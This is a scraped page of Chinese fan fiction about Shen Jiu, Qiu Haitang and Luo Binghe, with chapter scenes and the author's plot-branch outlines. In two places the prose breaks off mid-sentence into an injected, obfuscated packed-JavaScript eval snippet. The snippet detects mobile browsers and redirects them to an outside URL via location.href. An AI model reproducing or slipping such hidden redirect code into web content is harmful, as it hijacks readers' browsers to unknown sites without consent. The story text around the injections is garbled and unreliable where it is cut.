重生沈九将洛冰河丢给柳清歌后,遇见秋海棠 他想知道,如果秋海棠知道了秋剪罗''隐藏的真相'',秋海棠会如何选择 这五年来,沈清秋化名为“沈九”的散修,将扎起的头发放下用于遮脸,换上素净的普通外衫,腰间的玉佩也换成看起来就很穷的储物袋。 小时候跟无厌子走街串巷、坑蒙拐骗,更换装备以求改头换面,家常便饭而已啦~ 别说,变成沈九后。他遇见了一个以为见不到的人,秋海棠。 真是冤家路窄。沈九在一处秘境里,遇见了带领一堆小姑娘的某个门派,因美色动人心,他们被很常规套路的,拦截了。 沈九原于树上歇息,却被几人的战斗所波及,树枝震动,沈九被惊醒,险些摔个埌呛。 又因为他的一身装束看起来就很“散修”,遮挡脸的头发也有些毛糙和凌乱,很自然的被随意当成了无门无派好欺负的散修。 所以。当秋海棠将那波人打走后,很有礼貌的与沈九道歉:“不好意思,没留意到你在这里休息。” 沈九第一时间认出来了秋海棠,秋海棠没认出沈九。 沈九对秋海棠其实是有愧疚的。 但他先灭秋家时留下女眷的性命,后面(上辈子)又还了一条命。 所以。 沈九也不知该用什么样的态度去面对秋海棠。 毕竟。上辈子的事情,不可能这辈子“再赔在一次”,也不可能“上辈子已偿还所以这辈子坦坦荡荡”。 哎。秉持着复杂又纠结的心情,沈九跟上了秋海棠。 当然,在其他女子的眼中,是秋掌门魅力太大,受到了散修的追求,自愿为她保驾护航。 秋海棠:“不知道友如何称呼?” 沈九:“emmmm,沈某,无名无姓,随便取了个''沈''字为姓。所以……可以叫沈某,沈某人,或者沈道友。” 秋海棠:“无名无姓,倒是稀奇。” 沈九:“不算稀奇。孤儿出身,乞讨为生,随便取了个姓氏,机缘巧合,踏上仙途,学了一丢丢道法,成了个散修。” 秋海棠听到前面的描述,忍不住多看了沈九一眼,随即又想到了什么,轻轻摇了摇脑袋,试探道: “不知,道友可曾听说过''无厌子''?” 沈九原就没打算伪装,只是没想第一时间''相认'',所以刻意模糊了自己的“行九”。其他的一切信息,都是真实的。 所以秋海棠第一时间联想到“乞丐九”,在沈九的预料范围之内。 沈九打算除名字外,全部坦白。 至于秋海棠猜到几分,又打算如何对自己。 沈九打算交给秋海棠。 他想知道,如果秋海棠知道了秋剪罗''隐藏的真相'',秋海棠会如何选择。 —— 好吧。对于“多出来的人生”,沈九这一世都打算躺平。 无论是把洛冰河推给柳清歌,看他们两人的选择;还是发现秋海棠后刻意靠近,想看秋海棠的选择。 其实。沈九只是想看一下,如果其他人站在自己的立场,会做出什么样的抉择。 这一世本就是赚来的。能坐着何必站着,能躺着何必坐着。能游山玩水,何必自己累死累活的去追求不可能的事情。 他的心态变了。 从以前的情感停留在秋家,被环境激发的只想变强,因根骨损毁嫉妒家世优渥、天资卓越之人。虽老峰主极力''纠正'',却也没能真正改变''沈清秋''的心态。 都说生死之间才能突破,对沈九来说,确实如此。 他上辈子被记忆困住,为过往所钳制,犯下错误无法忽视。无论是失败的为人处世,还是对天之骄子洛冰河的打压被反噬。 讲到底,都是走不出曾经的挫折,一直被困在原地,不断重复曾经的场景罢了。 今世,沈清秋虽睁眼之时疑神疑鬼,举动荒唐,神情恍惚,吓得刚登掌门之位的岳清源以为自己撞了鬼,连着驱邪好几天。 后沈清秋干脆借“外出任务”之名逃离苍穹山派。远离了曾经熟悉的地界,又有着“修真界第一大派、仅次于穹顶峰的峰主级”供奉,使得沈清秋终于体会到了富家子弟出门的规格。 许是荣华富贵养人,在极致的物质丰富,加几乎凡尘无敌的武力,还有那张谁看了都会心动的脸,和苍穹山派峰主的身份。 沈清秋,真正感受到,被蜜罐泡大,不识人间疾苦的逍遥自在。 后面又遇见真君子、体贴懂事的公仪萧,拥有着苍穹山派和公仪家两者的''资源'',沈清秋是真正的感受到被爱和满足。 人这种生物,自己有钱有闲拥有很多,就会对自己的东西没那么在乎,随时赏赐给别人,也完全不心疼(在乎)。 而一个人如果很喜欢“散财”,只要他不嘴毒的厉害,也不是没脑子的傻瓜,就会很容易结识到很多人。毕竟上一个出名的人,叫“及时雨”——宋江。 甭管是资源还是情感,都是自己拥有的越多,越喜欢分享。自己拥有的越少,就越吝啬,越记仇。 被宠爱的,有恃无恐。因为他本身就拥有很多,所以完全不介意有人分走。 而这种“优渥”的生活,本就是被宠者的底气。 —— “听过一些传闻。”沈九毫无风范的随便侧在树上,吊儿当啷的看着秋海棠: “据说他杀人无数,名字在通缉榜上挂了数年,臭名昭著、案底无数,是个人人得而诛之的罪犯。” 沈九淡淡的掀起眼皮,眼角斜向上,露出几丝邪气: “怎么,秋掌门对此人有仇?可需要沈某帮忙?” “不,不用了。”秋海棠看着看起来不怎么正经的沈散修,觉得自己可能招惹了一个麻烦。 散修和名门正派还是不同的。 名门正派讲究名声,崇尚君子作风。一言一行都规规矩矩,就算是发火,也是文雅的请辞与谢客。 而散修不同。他们资源更少,能获得消息的渠道更多,对机缘势在必得的拿命去拼去赌,行事风格更为冷厉和凶猛。简而言之就是杀心极重,更是肆无忌惮。 招惹这样一位散修。秋海棠开始觉得有些棘手了。 沈九看着“退缩”的秋海棠,突然感到一丝无聊。 其实沈九曾经也是将她当成自己生活的避风港,挨打难过时的心理慰籍的。 虽然秋海棠也没做什么,但是对于那个时候的沈九来说,能有地方躲着不被打,能吃口饭、喝口热水,已是最大的幸福。 但经历了公仪萧的“体贴入微”后,沈九不那么想了。 怎么说呢,事情是需要比较的。 秋海棠做的是帮挨打的沈九提供一个''避难所''; 公仪萧做的是帮沈九鞍前马后的处理杂物,并安排大夫看诊开药、端药,准备蜜饯糕点。 而那个时候的公仪萧,仅仅是因沈九救了被套麻袋打了一顿的他,这种只要没被人贩子拐走就算是磕磕碰碰的小事。 公仪萧依旧认真负责,甚至还为他错过了本该正常参与幻花宫考核,进阶为幻花宫下一任宫主的大好人生。 并且,在沈九反复推脱的时候,依旧坚定的认为眼前的事情是最重要的,哪怕自己的目的是为了拜师学艺,也不能因此薄待了“恩人”。 所以说啊。良玉在前,秋海棠的所作所为,就显得有些“薄情寡义”了。 更何况。沈九自认给秋家女眷留了性命,秋海棠应该也不可能不知晓哪怕一星半点的“秋剪罗与沈九的事情”。 否则,为什么秋海棠要''庇护''他呢? 一个什么都很正常,生活很安全的人,何来''庇护''一说? 所以嘛。秋海棠心里究竟怎么想,谁知道呢。 不过,沈九还是决定要做完自己的事情,他是真的想看一下秋海棠的选择。 毕竟,上一世没试过,这辈子想试试怎么了?反正都是赚的,朝闻道、夕死可矣! “说去无厌子,沈某听到过一些传闻,分享给秋掌门乐呵乐呵。” 沈清秋将背部调整了一下,换了个更舒服的姿势: “听说无厌子在某个城池开坛做法,筛选弟子,其中有个家奴也去实验,竟发现自己有入道的天资。所以他兴高采烈的与仙人聊天,希望拜入仙人门下。” “可是他的主家不放人,还担心之前对家奴的态度不够好,怕家奴学成本领之后,会回来报复于自己,所以先下手为强,将家奴打个半死。” 沈九说到这里的时候,秋海棠的脸色已经很震惊又难看了。秋海棠的视线不停徘徊在沈九露出的半张脸上,似是在探究。 沈九不想理会秋海棠的震惊,却又想逗一下她。反正都差不多''摊牌''了,既是''死敌'',还能有什么更过分的呢? 所以,沈九的眼睛紧紧的盯着秋海棠那双秋水俭眸,问道:“倘若秋掌门是那家主人,可会放家奴离去学艺?” 秋海棠脸色煞白,朱唇紧闭,唇线波动不止,却始终说不出话来。 沈九见状笑了笑,继续将故事讲下去: “被打的半死的家奴命还算大,没有直接死在哪里。却也因此大病一场,从此虚弱不堪。” “但机缘巧合下,家奴又一次见到了无厌子,也又一次把他当成仙人。” “只是这次,” 沈九故意卖了个关子,用眼睛斜挑秋海棠,打趣道:“秋掌门以为后续会如何发展?” 秋海棠苍白的脸颊中,火速升起两片粉红的云彩,那是被愤怒带起的硝烟: “家奴丧心病狂,灭了主家满门。跟着他所认定的仙人离去。” 秋海棠的眼角泛起血丝,她睁大了眼睛,详细又危险的看着沈九:“沈道友从何得知这个故事?” 沈九看着因回忆往昔而愤恨不已的秋海棠,内心突然暗爽:‘困在回忆走不出去的,远不止我一个人’ 沈九将头侧向肩膀,眼睛睁的溜圆,无奈耸肩。表现的就像是一个想与人分享趣闻,却不被喜爱的无辜人士: “街头传闻,谁知道从哪传出来的,左不过是夸张事实,讨人一笑罢了。” 秋海棠的视线在沈九脸上一寸寸的划过,良久,秋海棠笑了一下,眼里却全是冷漠: “是啊,世间传闻最是荒诞不经,无非是夸大事实,博人眼球罢了。” “不过,沈道友可曾想过将头发休整一下?人会看起来更为精神些。” 沈九表现的像是完全听不懂秋海棠隐喻的样子,装傻充愣道:“是吗?果然还是女子的眼光毒辣些,行走江湖的,平日里没那么考究。” 看着抽混搭擦的沈九,秋海棠坚决不给他打混过去的机会: “沈道友所说是极,我看方才途经之处就有河流,沈道友不妨与我同去梳洗一番?刚才打斗,衣衫沾染了些许尘土,想要休整一下。” 看着眼里写满''坚持''的秋海棠,沈九瞄了一眼已默默掐诀良久的秋海棠右手,他觉得事情大概已经有结果了: “好啊好啊,能与仙子一同去往,是沈某的福分。” —— “小九!果然是你!” “秋掌门此话何意啊?” “沈九,沈九,我竟是没第一时间想起来你姓沈!” “秋小姐,你身为主家,确实不需要记奴仆的名姓。” “现在终于承认了吗!” “我从没有欺骗过你,你我之间所言,句句属实。” “你为什么要灭秋家满门!” “秋小姐,请注意措辞,我只是除掉了首恶及狗腿子,其他的都放过了。” “你还记得我们的婚约吗!” “秋小姐,沈九是个什么玩意,咱们都心知肚明,说是婚姻,其实是秋剪罗给你培养的听话玩物。” “我哥哥对你不够好吗!他将你从人贩子手中买下,令你无需乞丐度日,还派人教导你琴棋书画,更是给你消了贱籍!” “秋小姐,对于这一点,你哥哥为了给你培养''乖巧听话的丈夫'',又给予你施恩于下的机会,可谓用心良苦啊。” “你!巧言善辩!” “秋小姐,说话做事要讲良心,熬鹰确实是很好的御下手段,但是没人规定鹰不能跑啊。” “那你为什么要杀我哥哥!” “秋小姐,秋剪罗对你而言是很好的哥哥,对我而言却是造成我人生悲剧的罪魁祸首,彼之蜜糖我之砒霜,我对付对我不好的人,有问题吗?” “你!” “秋小姐可有什么要问的?” “你晚上睡觉不会做噩梦吗?你的良心不会痛吗?” “秋小姐,你对我的庇护,是知道秋剪罗做了什么的吧?每次我快受不了的时候你或者你的人就会出现,然后秋剪罗就会收手。巧合完美契合堆积,那便不是巧合,是故意做局啊。” “你……” “秋小姐,即使曾经的家奴乞丐不懂,现在都这么多年了,你的脑子居然以为这么浅薄的计策,能一辈子都没人看透吗?” “可……” 秋海棠突然无话可说。 她能说什么呢。说沈九杀了自己哥哥吗? 可是沈九也说了,秋剪罗对他做的事情,完全足够沈九杀人。 而且,沈九说的没错。 秋剪罗对沈九做的事情,她没办法说不知情,更不能否认,秋剪罗很大几率,就是为了自己。为秋海棠创造''美救英雄''的桥段,让自己能够更好的掌握沈九。 可是,难道就那么算了吗? 他哥哥,就白死了吗? 即使他对沈九有万般不好,对秋海棠来说,那是疼爱自己的嫡亲大哥啊! “哎。”沈九看到秋海棠的选择,却又忍不住心软:即使秋剪罗是为了秋海棠,沈九也难以对''最终得利者秋海棠''下手。 毕竟。他真的是曾经给予他庇护的人。 这一点,怎么也改变不了。 所以。沈九看着纠结的秋海棠,叹了句“赌一把吧”,于是,沈九站在秋海棠目前,双臂展开,让秋海棠用剑刺自己一下。 至于秋海棠是想将自己一剑割喉,还是直砍心脏,亦或是砍断手脚什么的。 沈九都认了。 上一世命都能给出去,这辈子都打算当咸鱼了,还怕啥呢。 秋海棠看着''束手就擒''放弃抵抗''的沈九,又回想着刚才两人的对话,闭上眼睛,剑尖朝着沈九对心脏刺去: 如果上天想让他活下去,她秋海棠就真的不会再纠缠此事。 如果上天有眼,让沈九死在这里,秋海棠会亲手给他挖个土坑,并为他立一个''秋家家奴沈九''的墓碑。 此举,看上苍安排。 18.未完:假如捡到洛冰河的是乞丐九 捡到弃婴 我再也不要理岳七了!他只会偏心其他人! 咦?河里漂着的盆子看起来挺不错的,能卖钱! 诶诶诶???里面怎么有个孩子啊!!! ——时间线混乱,就当bug吧—— ——正文—— 沈九又一次和岳七闹翻了。 这次是管事的安排岳七向路人卖惨,结果岳七一张脸绷的死紧,还得靠躺在地上装病的沈九哭哭啼啼的''诉说'',帮他完成任务。 怎么说呢,岳七是个性格很好的人。 可是,他却完全不适合当乞丐! 岳七的性格很老实忠厚,愿意帮大家主持公道,维护公正的同时,尽量让每个人都满意。 这样的人,若是给他一个机会,绝对可以当“领头的”。 可是,他却又将脸面和尊严看得太重,导致他完全不能''违背良心卖惨'',绷着一张脸比谁都硬,路人怎么可能因此产生怜悯之心,给他们一点零钱呢? 乞讨、乞讨。你不让自己(指乞丐)看起来非常可怜,不让施舍之人感觉''自己真棒'',人家凭什么要无缘无故给你钱呢? 岳七大概是明白的,但是他放不下脸面没办法对着来来往往的人们哭诉,更没办法''主动出击''拉着行人的裤腿讨钱。 每个人都是有分工的,岳七完不成自己的任务,沈九一个人又不可能次次都超常发挥,帮岳七''补上亏空''。所以…… 岳七和沈九之间的矛盾,经常在岳七的任务完不成,两个人都挨打、挨饿情况下发生。 但情况总是不同的。 岳七挨饿,会有人偷偷给他送吃的。 沈九挨饿,是真的只能硬抗。 好在岳七一贯''老好人'',所以沈九挨饿的时候,岳七会偷偷给他分馒头吃。 而沈九,虽然他自己的任务一般都能完成——但是,和岳七一起挨饿,由岳七偷偷分馒头给他…… 嗯,怎么不算爱呢。 郁闷的沈九独自一人来到经常洗漱的河边,望着河面发呆。 沈九很想远离这样的日子,可是他身无一技之长,没有安身立命的本事。而且他也没有银钱,当乞丐私藏的几枚铜钱,顶多够他快饿死时候买几个馒头。 最重要的是,他是贱籍! 乞丐是没有户籍的,官府也不可能为了乞丐做什么户籍登记。没有官方记录,那就是流民,连路引都办不出来。 也就是说,他可能出了城,就再也进不来了。 城外什么样子,沈九有听别人说过。 听说外面很大,杂草丛生,连树木都长的格外健硕。还有着万亩良田,满地的野草野花。 可是。在城外生活,需要会种地,需要会打猎摸鱼,需要懂得物价高低。 最重要的是。沈九一个人跑掉,是完全没有问题的。 想带岳七一起跑掉,难度很大。 因为岳七是不可能放下其他乞丐的。 而他们的头头,又不可能放任他们全部离开。 所以。沈九要么自己溜走,要么……带着一群人和头头打一架,看能不能打败头头,然后一群人出城。 沈九很头疼。所以他下了水洗个澡。 夏天是很适合游泳的季节,凉凉的河水,像是能带走所有苦恼。 沈九一不小心,就游远了。 河水清澈见底,河边全是杨柳,沈九躲在树荫凉处泡着,想着怎么说服死心眼的岳七,他真的想换个身份生活。 猛然间,一个土黄色的木桶从沈九眼前飘过。 沈九先是愣了一下,后又急忙忙的游过去——木桶!能卖钱!说不定里面还有什么衣服之类,典当也可换钱! 可惜。沈九费了一番功夫得来的木桶里,居然没有衣服,也没有其他值钱的东西。只有一个如自己般,被父母抛弃的弃婴。 ———— 沈九不是喜好杀生的人,也做不到看着婴儿继续漂流,饿死在路上的事情。 毕竟,饿肚子的滋味,乞丐出身的沈九,可是太了解了。 弃婴被带回去,因为在洛水里捡到的原因,所以姓“洛”,按''入门次序''来算,行十九,正与沈九有缘。 自此,乞丐们的骗术又多了几种可能,沈九的肩头上,多了个“养育婴儿”的任务。 ———— 生长在乞丐堆里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15114995|163333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的洛十九,平日里最喜欢和沈九窝在一起。 即使整个乞丐窝里都不喜欢沈九,有洛十九这个“开心果”在,沈九硬是好几年来,都没动过离开的心思。 但人生总不是一厢情愿就能安稳的。 新来的十五(之前的十五死了或跑了,新来一个适龄的,就顶替了他的排行)老是与沈九抢地盘,沈九还要喂养洛十九呢,怎么能随便把好地方让给别人? 所以,是时候打一架了。 ——各人年龄—— 扒拉了一下时间线,把各人年龄标上。 沈九,12岁。(原文说秋大少16,沈九比他小4岁) 秋翦罗,16岁。 岳七,14岁。(15岁拜入苍穹山派并改名,不可能运气那么好,一下子就找到吧,大半年的时间用来逃命和搜索门派) 无厌子出现,沈九13末14岁初。(因为洛冰河14岁渣反开篇,柳清歌嘲讽沈九半道出家,所以时间线上他两应该同样大小) 岳清源下山并参加仙盟大会,16岁。(走火入魔一年多) 两人相遇,沈九(14)杀无厌子,岳清源(16)引沈九入清静峰。 这篇的后续分支太多。 我打算换个写法。 首先架一定会打,也一定被岳七给哄走。尊重原文嘛。 改的是后续: 分支一:洛冰河拉住了想去找岳七的沈九,两人离开,后续听说十五和岳七等人被打了一顿,扔到xx地。 分支二:沈九被虏秋家,岳七拜师、洛冰河硬闯,洛冰河最后和沈九一起难兄难弟。 分支三:沈九被虏秋家,岳七拜师、洛冰河硬闯,被打得半死,冰哥重生。 分支四:沈九被虏秋家,岳七拜师、洛冰河硬闯,被打得半死,冰妹重生。 分支五:沈九被虏秋家,岳七与洛冰河偷溜进去,被秋家人发现,大家一起难兄难弟。 分支六:沈九与洛冰河追上岳七,秋家大少相中洛冰河,被虏的是洛冰河。 emmmm,大致先这些吧…… 这就是为啥写了这么久没后续的原因,我的脑子啥都能蹦出来…… 19.(未完)此消彼长 前言:爱恨此消彼长,而感情,早就于心中生根发芽 狂傲线,以冰哥视角为叙事锚点,另外其他的故事在【沈九】和【柳九】里面补充——啊,主要是那些故事写了半天,连狂傲线的开篇都没入门,所以只好先写冰哥线,后期跟上补全。 首先对于狂傲线来说,冰哥与沈九的故事里,大致有六七个小情节(这些指的是冰九的感情戏,并非剧情线。都热血男频了,外出打怪、山内对殴、开自己的升级后宫,都是很正常的吧?) 单从冰九之间的互动情节倒推,大概就能理出一个‘热血少年被打压,继而失望,失望后以仇恨为动力想要报仇’的故事。 狂傲线是男频,而冰哥与冰妹最大的区别,就是一个【得到爱】和一个【没得到】,所以他的心态中不包含“爱”,只有被打压的“恨”。那么,这丝恨意究竟是何时变成了引而不发的爱,又是何时产生了【我要让他只能看着我】的畸形变质,是很值得探讨的。 这篇主要是想‘补全’狂傲线,把【狂傲世界究竟发生了什么】顺清楚,将真正的狂傲世界线中的【冰九】补全。当然,夹带大量私货,并非完全的狂傲线,只能大体。 ——冰的故事线—— 1.拜师.一腔热血被砸(少年以为今后有了安居之地,结果上位者好像压根不喜欢他?这波开局真是太惨了。) 2.山门罚跪后被群殴(上位者不喜欢,所以下面的狗腿子就会对他各种驱使,一点毛病没有) 3.顶撞被罚(几个人的群殴闹的沸沸扬扬,沈清秋会深究原因吗?肯定不可能,所以大家一起被罚,冰哥更委屈了) 4.打碎法器被罚(让冰哥干活,还陷害他。最重要的是沈清秋还压根不调查就打骂,冰哥开始委屈后愤恨了) 5.玉佩事件无人申冤(已经被各种打击的少年,又丢失了养母的寄托之物,已经开始打算报复所有人了) 6.双湖城打怪(宁嘤嘤丢了,冰哥回去报信,九想也不想骂了他一顿。冰哥……更觉得憋屈了)(这个故事好像狂傲里没有,所以究竟要不要写呢?) 7.魔族入侵(沈九让冰哥一个渣渣上台打架,不就是想光明正大弄死他吗?冰哥已经黑化了) 8.梦魇事件(冰哥终于有挂了!并且还是正常老爷爷,可以拜师的那种!) 9.仙盟大会(冰哥还是再努力救人的,但没办法,血脉就是个坑,暴露了,被众人围攻了。沈九一脚将他踹下去了) ——冰九感情线—— 1.拜师(这个没得说,冰抬头时一眼万年,是真的诚挚少年郎希望入仙人之眼)(呃,这个预设的线是冰刚拜入,被九不喜后九出门打怪,冰直接被罚。具体的打怪沈九线会写,这里主要写冰委屈,贼可怜) 2.一系列同门欺凌后冰发现了九对他的不喜(沈九线是九忙的要死,没空管;冰哥线就是白纸被染黑,然后学会了脸上笑嘻嘻、心里弄死你) 3.魔族入侵(沈九线:柳清歌走火入魔、与他对打后武力全失,不得不喊冰上台;冰哥线 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15122559|163333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :沈清秋果然不喜欢他,这是明晃晃让他送死!) 4.梦魇之地(这个已经把内容写好了,不知道符不符合狂傲世界,但我个人很喜欢。冰遇见少年九,与他一同看到狂傲七九互相赴死,冰对少年九有想法、进而对沈清秋有想法) 5.拜师梦魇变打怪爆装备(这个绝对是私货,从这里开始就不能算狂傲线了。沈九线:冰莫名其妙在他面前刷存在感,系统提醒冰会有个强力外挂出现,九干脆将冰打成残疾;冰哥线:他能将少年九抱在怀里,沈清秋未必不能,只是他被打得挺惨,原本该收他为徒的梦魇直接暴露野性,想要抢夺他的身躯) 6.无间深渊(沈九线:本打算直接弄死他,没想到这家伙居然有感情线,既然如此,放他一马,让他当修真界的探子;冰哥线:天魔血脉暴露,修真界容他不得,跳崖,是最后的选择,沈清秋既然给他‘机会’,他就能借这个可能性,重新回到沈清秋身边——至于鹿死谁手,可不好说) ———— 总而言之,冰的地图就是【清静峰】【苍穹山】,所以他面临的故事就是同门打闹、上位者疏忽、美人投怀送抱;而他与九的感情线,除了一开始的【一眼万年】到将错误全部堆积于沈九之上,是从梦魇之地才真正显露的。 爱恨交织、情仇难辨;若非抱有期待,又缘何会愤恨? 恨来恨去,也无非是恨他看不见他,不愿重用你。 前面是狂傲线,后面是按照男频环境写出来的感情纠葛。想来,应该是很有趣的。 20.(未完)此消彼长 此消彼长1. 拜师清静峰 世间存在神明吗?不知。 那一眼的风流,足够纯真少年郎掏空自己,将全部情谊奉上。 ——正文—— 不知其他人对世界是否存在神明有什么看法,对于只有几岁的洛冰河来说,他在今天见到了。 远处的高台上站着两个身影,一着玄色衣衫,时不时扫视着下方的芸芸众生;一着青色衣衫,清风吹拂间衣袖随之飘动,颇为灵动潇洒。尤其是那根飞扬的青色发带,正如半空中的飘逸着的翠色精灵,肆意展露着青年人的意气风发。 多么美好的仙人,多么飘逸的身姿,多么令人神往的画面。 洛冰河的心里被种下一颗种子。那是对长生大道的向往,对凌空而立的执着,对得遇仙人、渴望能面见仙尊、与之接触的念想。如果仙人能撇他一眼,他愿奉上全部的欢喜与崇敬,规规矩矩的跪叩于对方脚下,聆听仙言。 为尽可能接近仙人,洛冰河极为认真的将挖出的泥土堆到旁边的小山坡上,接着又用力将铁铲的尖头插入坑洞,将泥坑的深度和广度扩大些。 苍穹山的入门考核是挖坑,甭管项目是如何的离谱,只要能达到最终目的,他都会用尽最大努力、半点不带埋怨的去完成。而无论仙家给出的考核具体是什么,即便是从万里高空跳下,与他一同的参赛者们,都会毫不犹豫的跳下去。 洛冰河的视线一直偷瞄着远处的高台,所以他很清楚的看到,青衣人的身旁出现突然一名白衣人,而那个白衣人随意的扫视了他们一下,接着好像遥遥指了自己。 !!! 是他想的那样吗? 洛冰河忍不住心跳加快,全身发热。 如果他被任意监督者看中。 洛冰河将拳头收拢,指甲在手心掐出血迹。尽量压制喉中涌现的灼热,狠狠的咬着嘴唇,抑制住即将发出的高呼——这意味着他可以一步登天,直接跨过杂役和外门弟子的门槛,成为内门。 内门。 成为修真者已是天外之喜,他居然有幸直接成为最终赢家,被仙人从乌压压的人海中点出来,成为内门弟子,伴其左右——这是什么样的馅饼!甜美的几乎要将他砸晕! 当然,洛冰河已经迷糊了。他开始幻想自己成为仙人后被一堆杂役和外门喊‘洛师兄’的样子,被其他内门喊‘洛师弟’的样子,被看重他的白衣人寄予众望的样子,踏上修行大道后、手握长剑斩妖除魔,被世人推崇赞扬的样子...... 多么美好的未来再向他招手! 那么幸福美满的平康大道!他会成为世人口中的的【洛少侠】,会成为别人眼中的【少年仙人】,会独身一人潜入险境,将坏人的计划全部破坏,最后成为救世大英雄,被世人立书铭记,名垂青史,万古流芳! 此时此地的洛冰河,即便还只是个在地上挖坑、祈祷着能拜入山门的十岁幼童,却已经开始幻想起来自己名扬天下的样子了。 只是他的心里隐约有一点失落——如果真是白衣人的选择,那洛冰河十有八九就要拜入白衣人所在的山峰,与青衣人,失之交臂。 虽说即便白衣人不选他,青衣人也不是他能肖想的。但在被〈白衣选中后、百分百无机会接触〉与〈没被人选择、存在一定可能〉中,洛冰河......可耻的认为他可以两个都要! 为什么他不能被两个人都选中,最好两个人还能为了他打一架,最后同时收他为弟子呢? 虽然这个可能性很小,但它毕竟有可能存在不是吗?他是如此的惊才绝艳,修真界第一大派的两位峰主为了他这个尚未踏入修行之路的少年大打出手——这是多么令人激动的故事? 就在洛冰河为自己的幻想而脸上升起燥热时,青衣人的折扇好像也遥遥指了自己一下。 !!! 是他吗?是他想的那样吗?! 洛冰河惊喜的望了一下周围—— 旁边是个女娃娃,虽然看起来坑挖的比自己深,但堆出来的土实在太毛糙了,肯定不细心; 另一边是个八九岁的少年,衣着虽然很华贵,但动手能力不行,直到现在只堪堪挖了一层,坑内还凹凸不平的,一看就不适合伺候人。 再向后面看,是两个一模一样的龙凤胎,两人的动作倒是很利索,坑挖的也很深,旁边的土堆的也齐整……该死的,青衣仙人不会选了他们吧? 就在洛冰河思考要不要给对方添点乱的时候,他感受到了一股被人盯上的锋芒在背……就像是,被什么不可言说的存在,拿捏住了命数。 他的身躯猛然僵硬,豆大的冷汗从额头滑落——明明是艳阳高照,他却像是坠入数九严寒的深潭。这种被野兽注视的恐慌感席卷着他,洛冰河连忙拿起铲子,尽可能平稳的继续挖土,伪装出一副泯于众人的样子。 而随着他悄咪咪的抬眼看——青衣与白衣相交,他们真的在打架! 这一刻,少年隐秘的幻想,成为了现实。 这种窃喜一经生出,他便快速将头低下去,嘴角死死抿着,眼角都弯成月牙。看吧,看吧,他真的是传说中的少年主角,而他之前所遭受的一切苦难,都成为了用来衬托此刻甜蜜的粗盐! 就在洛冰河有一搭没一搭的挖坑填土时,一阵清脆的银铃声伴随着舒适的凉意袭来,洛冰河将脸上的笑意收拢,做出一副受宠若惊的呆愣—— 如果他的猜测不错,这个人,应该是来带走……他? 只是不知,是哪一方胜出? 女童穿着与青衣人颜色相似、却更加层层叠叠的裙装,脸上是能温暖人心的笑容。她在看到洛冰河的那一刻,先是小小的惊呼一声,像是在感叹洛冰河长得真好看。 接着视线落在洛冰河的额头上,毫不避嫌的从袖子里摸出绣着青竹的细腻帕子,就那样自然又轻柔的为洛冰河擦去额头的汗珠。 许是觉得洛冰河扛不住天热喜欢出汗,女童用力在腰带的玉佩上一拉,将散发着凉意的玉佩放到洛冰河的手上,声音软糯: “跟我走,我带你找师尊。” 女童的声音带着稚嫩的奶声奶气,虽然年纪小,但按照入门时间来算,洛冰河应该喊对方‘师姐’。 可洛冰河心中有些不便开口的隐秘想法,这句‘师姐’怎么也喊不出口。 如果对方是白衣座下,青衣人会主动向他示好吗? 在女童疑惑的神情中,洛冰河将身边的东西收拾一番,回道:“好。” 少年将手中散发着凉气的玉佩紧紧贴于心口,抬头向远处的青色身影望去:‘带走我的,会是你吗?’ 如果不是—— 在之后的日子里,他是否有机会,再次见到曾惊艳过他的青衣人? 在前往拜师的路上,洛冰河知道了女童叫‘宁婴婴’,也知道了自己即将拜入的山峰是清静峰,苍穹山的第二大峰。峰主——修雅剑、沈清秋。 清静峰以文入道、以礼守节,每位弟子都是饱读诗书、悟性极高之人。沈清秋最讨厌的就是百战峰那群只知道练武的家伙,天天嫌弃他们没脑子。 洛冰河将这些禁忌一一记下,思绪却不禁有些发散……不知那位青衣人,姓甚名谁,又居住在那一峰,有何禁忌?毕竟——虽然白衣人一开始就选了他,可青衣人,才是第一眼就晃了他心神的仙。 待洛冰河随着宁婴婴来到清静峰,满山翠林之中,正中心有一个纯竹子搭建的房屋。 洛冰河站在门口,心中有些踌躇。 推开这扇门,如果其中不是青衣人,他怕是再也没有拜入青衣人门下的机会。 可他该拒绝吗?拒绝白衣人给出的‘青云路’? 宁婴婴急促的推了洛冰河一把,洛冰河猛的回过神,温柔的冲对方笑笑。他在想什么呢?就算不是他,只要他入了苍穹山,以后总会见到的。拒绝,就意味着直接断送前程,他还不至于因为一个幻想就舍弃一切。 洛冰河推开门,视线向主位上的人看去。一袭青衣,飘逸的广袖长袍随主人的动作而滑落,露出白皙的手腕。精美的瓷杯被仙人骨节分明的左手端起,右手拇指与食指掀起茶盖,正悠然的拨动着茶水。 那个曾被他仰望的、曾让他一眼惊艳的、曾让他苦思冥想如何才能面见的青衣人——正是宁婴婴口中的师尊,沈清秋。 清朗如月、千秋万代。 这个名字极其符合仙人的描述,就像是量身定制似的,名如其人,光辉灿烂。 是他啊。是那个让他一眼惊鸿的仙人。 不是那个于人群中将他挑出来的白衣人,而是那个——用折扇遥遥指向他,为了他与白衣打架的,青衣。 洛冰河的心头突然一跳,由内而外的欣喜和心心念念的满足充斥于胸腔,令他忍不住嘴角弯弯,咧出一个露着大白牙的傻笑。 他一直在担心是白衣选了他。 他一直在思考拒绝后能否留在苍穹山。 他一直害怕从今往后再也没有遇见青衣人的机会。 